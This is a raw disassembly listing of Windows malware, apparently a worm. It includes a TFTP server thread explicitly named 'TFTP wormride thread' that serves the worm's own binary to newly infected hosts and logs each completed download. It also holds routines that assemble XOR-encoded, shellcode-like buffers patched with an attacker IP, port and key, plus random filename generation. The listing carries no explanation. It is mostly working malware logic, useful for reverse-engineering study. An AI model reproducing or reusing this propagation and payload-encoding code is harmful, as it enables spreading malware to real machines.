var_D6F		= byte ptr -0D6Fh
var_D6E		= byte ptr -0D6Eh
var_D6D		= byte ptr -0D6Dh
var_D6C		= byte ptr -0D6Ch
var_B6C		= dword	ptr -0B6Ch
var_B68		= dword	ptr -0B68h
var_B64		= dword	ptr -0B64h
var_B60		= dword	ptr -0B60h
var_B5C		= dword	ptr -0B5Ch
var_B58		= dword	ptr -0B58h
var_358		= dword	ptr -358h
var_354		= byte ptr -354h
var_1B0		= word ptr -1B0h
var_1AE		= word ptr -1AEh
var_1AC		= dword	ptr -1ACh
var_1A0		= dword	ptr -1A0h
var_19C		= byte ptr -19Ch
var_19B		= byte ptr -19Bh
var_19A		= byte ptr -19Ah
var_199		= byte ptr -199h
var_11C		= byte ptr -11Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0DACh
		push	edi
		push	1A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_358]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		push	0
		push	2
		push	2
		call	dword_417218	; socket
		mov	[ebp+var_108], eax
		cmp	[ebp+var_108], 0FFFFFFFFh
		jnz	short loc_411E1D
		push	[ebp+var_358]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_4123F1
; ---------------------------------------------------------------------------

loc_411E1D:				; CODE XREF: sub_411DC5+43j
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_40CF25
		push	eax
		call	sub_40449C
		pop	ecx
		pop	ecx
		push	10h
		push	0
		lea	eax, [ebp+var_1B0]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	[ebp+var_1B0], 2
		push	45h
		call	dword_417238	; htons
		mov	[ebp+var_1AE], ax
		lea	eax, [ebp+var_104]
		push	eax
		call	dword_417244	; inet_addr
		mov	[ebp+var_1AC], eax
		mov	[ebp+var_1A0], 1
		push	4
		lea	eax, [ebp+var_1A0]
		push	eax
		push	4
		push	0FFFFh
		push	[ebp+var_108]
		call	dword_417204	; setsockopt
		push	10h
		lea	eax, [ebp+var_1B0]
		push	eax
		push	[ebp+var_108]
		call	dword_417208	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_411EC2
		push	[ebp+var_358]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_4123F1
; ---------------------------------------------------------------------------

loc_411EC2:				; CODE XREF: sub_411DC5+E8j
		push	offset aRb	; "rb"
		push	offset dword_41EBFC
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_10C], eax
		cmp	[ebp+var_10C], 0
		jnz	short loc_411F01
		push	[ebp+var_108]
		call	dword_417230	; closesocket
		push	[ebp+var_358]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_4123F1
; ---------------------------------------------------------------------------

loc_411F01:				; CODE XREF: sub_411DC5+11Bj
		mov	eax, [ebp+var_358]
		push	dword ptr [eax]
		push	offset unk_41C788
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		push	2
		push	0
		push	[ebp+var_10C]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		push	[ebp+var_10C]
		call	sub_416B76	; ftell
		pop	ecx
		mov	[ebp+var_4], eax
		push	0
		push	0
		push	[ebp+var_10C]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		push	80h
		push	0
		lea	eax, [ebp+var_19C]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch

loc_411F66:				; CODE XREF: sub_411DC5:loc_412084j
					; sub_411DC5:loc_4123C6j
		mov	[ebp+var_B64], 1
		and	[ebp+var_B60], 0
		and	[ebp+var_B5C], 0

loc_411F7E:				; CODE XREF: sub_411DC5+234j
		and	[ebp+var_B68], 0
		jmp	short loc_411F94
; ---------------------------------------------------------------------------

loc_411F87:				; CODE XREF: sub_411DC5:loc_411FB9j
		mov	eax, [ebp+var_B68]
		inc	eax
		mov	[ebp+var_B68], eax

loc_411F94:				; CODE XREF: sub_411DC5+1C0j
		mov	eax, [ebp+var_B68]
		cmp	eax, [ebp+var_B5C]
		jnb	short loc_411FBB
		mov	eax, [ebp+var_B68]
		mov	eax, [ebp+eax*4+var_B58]
		cmp	eax, [ebp+var_108]
		jnz	short loc_411FB9
		jmp	short loc_411FBB
; ---------------------------------------------------------------------------

loc_411FB9:				; CODE XREF: sub_411DC5+1F0j
		jmp	short loc_411F87
; ---------------------------------------------------------------------------

loc_411FBB:				; CODE XREF: sub_411DC5+1DBj
					; sub_411DC5+1F2j
		mov	eax, [ebp+var_B68]
		cmp	eax, [ebp+var_B5C]
		jnz	short loc_411FF5
		cmp	[ebp+var_B5C], 200h
		jnb	short loc_411FF5
		mov	eax, [ebp+var_B68]
		mov	ecx, [ebp+var_108]
		mov	[ebp+eax*4+var_B58], ecx
		mov	eax, [ebp+var_B5C]
		inc	eax
		mov	[ebp+var_B5C], eax

loc_411FF5:				; CODE XREF: sub_411DC5+202j
					; sub_411DC5+20Ej
		xor	eax, eax
		test	eax, eax
		jnz	short loc_411F7E
		lea	eax, [ebp+var_B64]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+var_B5C]
		push	eax
		push	0
		call	dword_41722C	; select
		test	eax, eax
		jle	loc_4123B8
		mov	[ebp+var_D84], 10h
		mov	al, byte_41DF00
		mov	[ebp+var_D70], al
		mov	ecx, 80h
		xor	eax, eax
		lea	edi, [ebp+var_D6F]
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_D84]
		push	eax
		lea	eax, [ebp+var_D80]
		push	eax
		push	0
		push	80h
		lea	eax, [ebp+var_19C]
		push	eax
		push	[ebp+var_108]
		call	dword_417258	; recvfrom
		mov	[ebp+var_B6C], eax
		cmp	[ebp+var_B6C], 0
		jz	short loc_412084
		cmp	[ebp+var_B6C], 0FFFFFFFFh
		jnz	short loc_412089

loc_412084:				; CODE XREF: sub_411DC5+2B4j
		jmp	loc_411F66
; ---------------------------------------------------------------------------

loc_412089:				; CODE XREF: sub_411DC5+2BDj
		movsx	eax, [ebp+var_19C]
		test	eax, eax
		jnz	loc_4121C0
		movsx	eax, [ebp+var_19B]
		cmp	eax, 1
		jnz	loc_4121C0
		lea	eax, [ebp+var_19C]
		mov	[ebp+var_D88], eax
		lea	eax, [ebp+var_19C]
		mov	[ebp+var_D8C], eax
		mov	eax, [ebp+var_D88]
		inc	eax
		inc	eax
		mov	[ebp+var_D88], eax
		mov	eax, [ebp+var_D8C]
		inc	eax
		inc	eax
		mov	[ebp+var_D8C], eax
		push	[ebp+var_D8C]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp+var_D8C]
		lea	eax, [ecx+eax+1]
		mov	[ebp+var_D8C], eax
		push	offset aOctet	; "octet"
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		push	[ebp+var_D8C]
		push	offset aOctet	; "octet"
		call	sub_416BF0	; strncmp
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41213F
		push	[ebp+var_D84]
		lea	eax, [ebp+var_D80]
		push	eax
		push	0
		push	13h
		push	offset dword_41C76C
		push	[ebp+var_108]
		call	dword_417250	; sendto
		jmp	short loc_4121BB
; ---------------------------------------------------------------------------

loc_41213F:				; CODE XREF: sub_411DC5+354j
		push	0
		push	0
		push	[ebp+var_10C]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		and	[ebp+var_D70], 0
		mov	[ebp+var_D6F], 3
		and	[ebp+var_D6E], 0
		mov	[ebp+var_D6D], 1
		push	[ebp+var_10C]
		push	200h
		push	1
		lea	eax, [ebp+var_D6C]
		push	eax
		call	sub_416B90	; fread
		add	esp, 10h
		mov	[ebp+var_D90], eax
		push	[ebp+var_D84]
		lea	eax, [ebp+var_D80]
		push	eax
		push	0
		mov	eax, [ebp+var_D90]
		add	eax, 4
		push	eax
		lea	eax, [ebp+var_D70]
		push	eax
		push	[ebp+var_108]
		call	dword_417250	; sendto

loc_4121BB:				; CODE XREF: sub_411DC5+378j
		jmp	loc_4123B8
; ---------------------------------------------------------------------------

loc_4121C0:				; CODE XREF: sub_411DC5+2CDj
					; sub_411DC5+2DDj
		movsx	eax, [ebp+var_19C]
		test	eax, eax
		jnz	loc_412396
		movsx	eax, [ebp+var_19B]
		cmp	eax, 4
		jnz	loc_412396
		mov	al, [ebp+var_19A]
		mov	[ebp+var_DA0], al
		mov	al, [ebp+var_199]
		mov	[ebp+var_D98], al
		and	[ebp+var_D70], 0
		mov	[ebp+var_D6F], 3
		movzx	eax, [ebp+var_D98]
		cmp	eax, 0FFh
		jnz	short loc_412242
		mov	al, [ebp+var_DA0]
		add	al, 1
		mov	[ebp+var_DA0], al
		mov	al, [ebp+var_DA0]
		mov	[ebp+var_D6E], al
		and	[ebp+var_D98], 0
		mov	al, [ebp+var_D98]
		mov	[ebp+var_D6D], al
		jmp	short loc_412268
; ---------------------------------------------------------------------------

loc_412242:				; CODE XREF: sub_411DC5+44Cj
		mov	al, [ebp+var_DA0]
		mov	[ebp+var_D6E], al
		mov	al, [ebp+var_D98]
		add	al, 1
		mov	[ebp+var_D98], al
		mov	al, [ebp+var_D98]
		mov	[ebp+var_D6D], al

loc_412268:				; CODE XREF: sub_411DC5+47Bj
		movzx	eax, [ebp+var_DA0]
		shl	eax, 8
		movzx	ecx, [ebp+var_D98]
		lea	eax, [eax+ecx-1]
		mov	[ebp+var_D9C], eax
		push	0
		mov	eax, [ebp+var_D9C]
		shl	eax, 9
		push	eax
		push	[ebp+var_10C]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		push	[ebp+var_10C]
		push	200h
		push	1
		lea	eax, [ebp+var_D6C]
		push	eax
		call	sub_416B90	; fread
		add	esp, 10h
		mov	[ebp+var_D94], eax
		push	[ebp+var_D84]
		lea	eax, [ebp+var_D80]
		push	eax
		push	0
		mov	eax, [ebp+var_D94]
		add	eax, 4
		push	eax
		lea	eax, [ebp+var_D70]
		push	eax
		push	[ebp+var_108]
		call	dword_417250	; sendto
		cmp	[ebp+var_D94], 0
		jnz	loc_412394
		mov	eax, [ebp+var_D9C]
		shl	eax, 9
		cmp	eax, [ebp+var_4]
		jb	loc_412394
		mov	eax, [ebp+var_D7C]
		mov	[ebp+var_DA8], eax
		push	[ebp+var_DA8]
		push	offset dword_41EBE0
		call	sub_409C9D
		pop	ecx
		pop	ecx
		mov	[ebp+var_DA4], eax
		mov	eax, [ebp+var_DA4]
		cmp	eax, [ebp+var_DA8]
		jz	short loc_412394
		push	1
		push	offset dword_41EBE4
		call	sub_409C88
		pop	ecx
		pop	ecx
		mov	[ebp+var_DAC], eax
		push	10h
		push	[ebp+var_D7C]
		call	dword_41721C	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_11C]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		lea	eax, [ebp+var_11C]
		push	eax
		mov	eax, [ebp+var_DAC]
		inc	eax
		push	eax
		push	offset aWormride ; "wormride"
		push	offset unk_41C730
		push	offset dword_41DB88
		call	sub_40D4AB
		add	esp, 14h

loc_412394:				; CODE XREF: sub_411DC5+52Dj
					; sub_411DC5+53Fj ...
		jmp	short loc_4123B8
; ---------------------------------------------------------------------------

loc_412396:				; CODE XREF: sub_411DC5+404j
					; sub_411DC5+414j
		push	[ebp+var_D84]
		lea	eax, [ebp+var_D80]
		push	eax
		push	0
		push	9
		push	offset dword_41C724
		push	[ebp+var_108]
		call	dword_417250	; sendto

loc_4123B8:				; CODE XREF: sub_411DC5+252j
					; sub_411DC5:loc_4121BBj ...
		mov	eax, [ebp+var_358]
		cmp	dword ptr [eax+4], 0
		jz	short loc_4123C6
		jmp	short loc_4123CB
; ---------------------------------------------------------------------------

loc_4123C6:				; CODE XREF: sub_411DC5+5FDj
		jmp	loc_411F66
; ---------------------------------------------------------------------------

loc_4123CB:				; CODE XREF: sub_411DC5+5FFj
		push	[ebp+var_10C]
		call	sub_416B82	; fclose
		pop	ecx
		push	[ebp+var_108]
		call	dword_417230	; closesocket
		push	[ebp+var_358]
		call	sub_409763
		pop	ecx
		xor	eax, eax

loc_4123F1:				; CODE XREF: sub_411DC5+53j
					; sub_411DC5+F8j ...
		pop	edi
		leave
		retn	4
sub_411DC5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4123F6	proc near		; CODE XREF: sub_40A9CF+726p
					; sub_40A9CF+742p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	1A7h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_412410
		jmp	short locret_412446
; ---------------------------------------------------------------------------

loc_412410:				; CODE XREF: sub_4123F6+16j
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	offset aTftpWormrideTh ; "TFTP wormride	thread"
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+18Bh]
		neg	eax
		sbb	eax, eax
		inc	eax
		push	eax
		push	[ebp+var_4]
		push	offset sub_411DC5
		call	sub_4095A4
		add	esp, 10h

locret_412446:				; CODE XREF: sub_4123F6+18j
		leave
		retn
sub_4123F6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412448	proc near		; CODE XREF: sub_4125DF+88p
					; sub_4125DF+ADp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_41245A
; ---------------------------------------------------------------------------

loc_412453:				; CODE XREF: sub_412448:loc_41249Aj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax

loc_41245A:				; CODE XREF: sub_412448+9j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_4]
		jnb	short loc_41249C
		and	[ebp+var_8], 0
		jmp	short loc_41246F
; ---------------------------------------------------------------------------

loc_412468:				; CODE XREF: sub_412448:loc_412498j
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax

loc_41246F:				; CODE XREF: sub_412448+1Ej
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_C]
		jnb	short loc_41249A
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		movsx	ecx, [ebp+arg_10]
		xor	eax, ecx
		mov	ecx, [ebp+arg_8]
		add	ecx, [ebp+var_8]
		movsx	ecx, byte ptr [ecx]
		cmp	eax, ecx
		jnz	short loc_412498
		push	1
		pop	eax
		jmp	short locret_41249E
; ---------------------------------------------------------------------------

loc_412498:				; CODE XREF: sub_412448+49j
		jmp	short loc_412468
; ---------------------------------------------------------------------------

loc_41249A:				; CODE XREF: sub_412448+2Dj
		jmp	short loc_412453
; ---------------------------------------------------------------------------

loc_41249C:				; CODE XREF: sub_412448+18j
		xor	eax, eax

locret_41249E:				; CODE XREF: sub_412448+4Ej
		leave
		retn
sub_412448	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4124A0	proc near		; CODE XREF: sub_4125DF+36p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		and	[ebp+var_4], 0
		and	[ebp+var_10], 0
		and	[ebp+var_8], 0
		and	[ebp+var_C], 0
		cmp	[ebp+arg_8], 1
		jnz	short loc_41250C
		cmp	[ebp+arg_4], 0B2h
		jnb	short loc_4124CC
		xor	eax, eax
		jmp	locret_4125DD
; ---------------------------------------------------------------------------

loc_4124CC:				; CODE XREF: sub_4124A0+23j
		mov	[ebp+var_C], 0B2h
		push	[ebp+var_C]
		push	offset dword_41C964
		push	[ebp+arg_0]
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		add	eax, 8Fh
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		add	eax, 88h
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_0]
		add	eax, 0ACh
		mov	[ebp+var_8], eax
		jmp	loc_41259C
; ---------------------------------------------------------------------------

loc_41250C:				; CODE XREF: sub_4124A0+1Aj
		cmp	[ebp+arg_8], 2
		jnz	short loc_412554
		cmp	[ebp+arg_4], 0C6h
		jnb	short loc_412522
		xor	eax, eax
		jmp	locret_4125DD
; ---------------------------------------------------------------------------

loc_412522:				; CODE XREF: sub_4124A0+79j
		mov	[ebp+var_C], 0C6h
		push	[ebp+var_C]
		push	offset dword_41C89C
		push	[ebp+arg_0]
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		add	eax, 89h
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_0]
		add	eax, 0C0h
		mov	[ebp+var_8], eax
		jmp	short loc_41259C
; ---------------------------------------------------------------------------

loc_412554:				; CODE XREF: sub_4124A0+70j
		cmp	[ebp+arg_4], 0B2h
		jnb	short loc_412561
		xor	eax, eax
		jmp	short locret_4125DD
; ---------------------------------------------------------------------------

loc_412561:				; CODE XREF: sub_4124A0+BBj
		mov	[ebp+var_C], 0B2h
		push	[ebp+var_C]
		push	offset dword_41C7E8
		push	[ebp+arg_0]
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		add	eax, 86h
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		add	eax, 8Dh
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_0]
		add	eax, 0ACh
		mov	[ebp+var_8], eax

loc_41259C:				; CODE XREF: sub_4124A0+67j
					; sub_4124A0+B2j
		cmp	[ebp+var_4], 0
		jz	short loc_4125B0
		push	[ebp+arg_C]
		call	dword_417244	; inet_addr
		mov	ecx, [ebp+var_4]
		mov	[ecx], eax

loc_4125B0:				; CODE XREF: sub_4124A0+100j
		cmp	[ebp+var_10], 0
		jz	short loc_4125CC
		push	[ebp+arg_10]
		call	sub_416B9C	; atoi
		pop	ecx
		push	eax
		call	dword_417238	; htons
		mov	ecx, [ebp+var_10]
		mov	[ecx], ax

loc_4125CC:				; CODE XREF: sub_4124A0+114j
		cmp	[ebp+var_8], 0
		jz	short loc_4125DA
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_14]
		mov	[eax], ecx

loc_4125DA:				; CODE XREF: sub_4124A0+130j
		mov	eax, [ebp+var_C]

locret_4125DD:				; CODE XREF: sub_4124A0+27j
					; sub_4124A0+7Dj ...
		leave
		retn
sub_4124A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4125DF	proc near		; CODE XREF: sub_410649+8Bp
					; sub_410B52+41p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		cmp	[ebp+arg_4], 1Ch
		jnb	short loc_4125F2
		xor	eax, eax
		jmp	locret_41271E
; ---------------------------------------------------------------------------

loc_4125F2:				; CODE XREF: sub_4125DF+Aj
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_0]
		add	eax, 1Ch
		mov	[ebp+var_4], eax
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	1E4h
		push	[ebp+var_4]
		call	sub_4124A0
		add	esp, 18h
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jnz	short loc_41262D
		xor	eax, eax
		jmp	locret_41271E
; ---------------------------------------------------------------------------

loc_41262D:				; CODE XREF: sub_4125DF+45j
		push	1Ch
		push	offset loc_41C7C8
		push	[ebp+var_10]
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, dword_41CB98
		mov	[ebp+var_8], eax
		jmp	short loc_412659
; ---------------------------------------------------------------------------

loc_412649:				; CODE XREF: sub_4125DF+94j
					; sub_4125DF:loc_41269Aj
		call	sub_410422
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		mov	dword_41CB98, eax

loc_412659:				; CODE XREF: sub_4125DF+68j
		push	0
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	4
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_412448
		add	esp, 14h
		test	eax, eax
		jz	short loc_412675
		jmp	short loc_412649
; ---------------------------------------------------------------------------

loc_412675:				; CODE XREF: sub_4125DF+92j
		mov	eax, [ebp+var_14]
		xor	eax, [ebp+var_8]
		mov	[ebp+var_1C], eax
		push	0
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	4
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_412448
		add	esp, 14h
		test	eax, eax
		jnz	short loc_41269A
		jmp	short loc_41269C
; ---------------------------------------------------------------------------

loc_41269A:				; CODE XREF: sub_4125DF+B7j
		jmp	short loc_412649
; ---------------------------------------------------------------------------

loc_41269C:				; CODE XREF: sub_4125DF+B9j
		mov	eax, [ebp+var_10]
		mov	ecx, [ebp+var_8]
		mov	[eax+3], ecx
		mov	eax, [ebp+var_10]
		mov	ecx, [ebp+var_1C]
		mov	[eax+9], ecx
		mov	al, byte_41CB95
		mov	byte ptr [ebp+var_C], al
		jmp	short loc_4126C8
; ---------------------------------------------------------------------------

loc_4126B8:				; CODE XREF: sub_4125DF+104j
		call	sub_410461
		mov	byte ptr [ebp+var_C], al
		mov	al, byte ptr [ebp+var_C]
		mov	byte_41CB95, al

loc_4126C8:				; CODE XREF: sub_4125DF+D7j
		push	[ebp+var_C]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+var_14]
		push	[ebp+var_4]
		call	sub_412448
		add	esp, 14h
		test	eax, eax
		jz	short loc_4126E5
		jmp	short loc_4126B8
; ---------------------------------------------------------------------------

loc_4126E5:				; CODE XREF: sub_4125DF+102j
		mov	eax, [ebp+var_10]
		mov	cl, byte ptr [ebp+var_C]
		mov	[eax+12h], cl
		and	[ebp+var_18], 0
		jmp	short loc_4126FB
; ---------------------------------------------------------------------------

loc_4126F4:				; CODE XREF: sub_4125DF+137j
		mov	eax, [ebp+var_18]
		inc	eax
		mov	[ebp+var_18], eax

loc_4126FB:				; CODE XREF: sub_4125DF+113j
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+var_14]
		jnb	short loc_412718
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_18]
		mov	al, [eax]
		xor	al, byte ptr [ebp+var_C]
		mov	ecx, [ebp+var_4]
		add	ecx, [ebp+var_18]
		mov	[ecx], al
		jmp	short loc_4126F4
; ---------------------------------------------------------------------------

loc_412718:				; CODE XREF: sub_4125DF+122j
		mov	eax, [ebp+var_14]
		add	eax, 1Ch

locret_41271E:				; CODE XREF: sub_4125DF+Ej
					; sub_4125DF+49j
		leave
		retn
sub_4125DF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412720	proc near		; CODE XREF: sub_412A3A+Cp
					; sub_412BC9+DFp ...

var_194		= dword	ptr -194h
var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_E4		= byte ptr -0E4h
var_10		= byte ptr -10h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 194h
		push	8
		push	4
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	[ebp+var_194], eax
		and	[ebp+var_190], 0

loc_412741:				; CODE XREF: sub_412720:loc_41278Aj
		push	7Ah
		push	61h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_190]
		mov	[ebp+ecx+var_10], al
		mov	eax, [ebp+var_190]
		inc	eax
		mov	[ebp+var_190], eax
		mov	eax, [ebp+var_190]
		cmp	eax, [ebp+var_194]
		jnz	short loc_41278A
		push	offset dword_418620
		mov	eax, [ebp+var_190]
		lea	eax, [ebp+eax+var_10]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_41278C
; ---------------------------------------------------------------------------

loc_41278A:				; CODE XREF: sub_412720+4Fj
		jmp	short loc_412741
; ---------------------------------------------------------------------------

loc_41278C:				; CODE XREF: sub_412720+68j
		push	17Ch
		push	offset dword_41CA18
		lea	eax, [ebp+var_18C]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_E4]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		push	17Ch
		lea	eax, [ebp+var_18C]
		push	eax
		push	[ebp+arg_0]
		call	sub_4053BF
		add	esp, 0Ch
		leave
		retn
sub_412720	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4127D0	proc near		; CODE XREF: sub_412A3A+14Dp
					; sub_412BC9+133p ...

var_24C		= byte ptr -24Ch
var_22C		= byte ptr -22Ch
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 24Ch
		cmp	dword_41EBEC, 0
		jnz	loc_4128A0
		mov	dword_41EBEC, 1
		and	[ebp+var_20C], 0
		jmp	short loc_412806
; ---------------------------------------------------------------------------

loc_4127F9:				; CODE XREF: sub_4127D0:loc_41289Bj
		mov	eax, [ebp+var_20C]
		inc	eax
		mov	[ebp+var_20C], eax

loc_412806:				; CODE XREF: sub_4127D0+27j
		mov	eax, [ebp+var_20C]
		imul	eax, 0Ch
		cmp	off_41DB18[eax], 0
		jz	loc_4128A0
		push	20h
		mov	eax, [ebp+var_20C]
		imul	eax, 0Ch
		push	off_41DB18[eax]
		lea	eax, [ebp+var_22C]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	20h
		mov	eax, [ebp+var_20C]
		imul	eax, 0Ch
		push	off_41CBA0[eax]
		lea	eax, [ebp+var_24C]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		lea	eax, [ebp+var_22C]
		push	eax
		call	sub_4105AD
		pop	ecx
		lea	eax, [ebp+var_24C]
		push	eax
		call	sub_4105AD
		pop	ecx
		lea	eax, [ebp+var_24C]
		push	eax
		lea	eax, [ebp+var_22C]
		push	eax
		call	sub_416DDE	; strcmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_41289B
		mov	dword_41EBF0, 1
		jmp	short loc_4128A0
; ---------------------------------------------------------------------------

loc_41289B:				; CODE XREF: sub_4127D0+BDj
		jmp	loc_4127F9
; ---------------------------------------------------------------------------

loc_4128A0:				; CODE XREF: sub_4127D0+10j
					; sub_4127D0+46j ...
		cmp	dword_41EBF0, 0
		jz	short loc_4128AE
		push	1
		pop	eax
		jmp	short locret_412917
; ---------------------------------------------------------------------------

loc_4128AE:				; CODE XREF: sub_4127D0+D7j
		push	offset aRb	; "rb"
		push	offset dword_41ED10
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_4128CC
		xor	eax, eax
		jmp	short locret_412917
; ---------------------------------------------------------------------------

loc_4128CC:				; CODE XREF: sub_4127D0+F6j
		and	[ebp+var_4], 0

loc_4128D0:				; CODE XREF: sub_4127D0+145j
		push	[ebp+var_8]
		push	200h
		push	1
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_416B90	; fread
		add	esp, 10h
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_412900
		push	[ebp+var_8]
		call	sub_416B82	; fclose
		pop	ecx
		push	1
		pop	eax
		jmp	short locret_412917
; ---------------------------------------------------------------------------

loc_412900:				; CODE XREF: sub_4127D0+120j
		push	[ebp+var_4]
		lea	eax, [ebp+var_208]
		push	eax
		push	[ebp+arg_0]
		call	sub_4053BF
		add	esp, 0Ch
		jmp	short loc_4128D0
; ---------------------------------------------------------------------------

locret_412917:				; CODE XREF: sub_4127D0+DCj
					; sub_4127D0+FAj ...
		leave
		retn
sub_4127D0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412919	proc near		; CODE XREF: sub_412BC9+E8p
					; sub_412D56+18p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	0EA60h
		push	[ebp+arg_0]
		call	sub_40546E
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_412938
		xor	eax, eax
		jmp	short locret_41294C
; ---------------------------------------------------------------------------

loc_412938:				; CODE XREF: sub_412919+19j
		push	0
		push	4
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	dword_417248	; recv
		mov	eax, [ebp+var_4]

